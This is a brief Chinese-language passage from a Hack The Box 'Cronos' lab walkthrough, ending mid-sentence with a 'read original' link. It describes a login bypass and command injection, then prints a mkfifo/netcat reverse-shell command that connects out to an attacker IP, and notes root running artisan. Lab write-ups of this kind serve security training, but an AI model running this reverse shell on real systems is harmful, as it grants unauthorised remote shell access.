Hack the box靶機 cronos

添加10.10.10.13 cronos.htb 到/etc/hosts 同樣添加到/etc/hosts 訪問一下 直接繞過了 一看就是遠程命令執行 抓包 確認完畢 上nc 10.10.14.8 && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.118 1234 >/tmp/f root用戶在運行artisan 寫個

>>阅读原文<<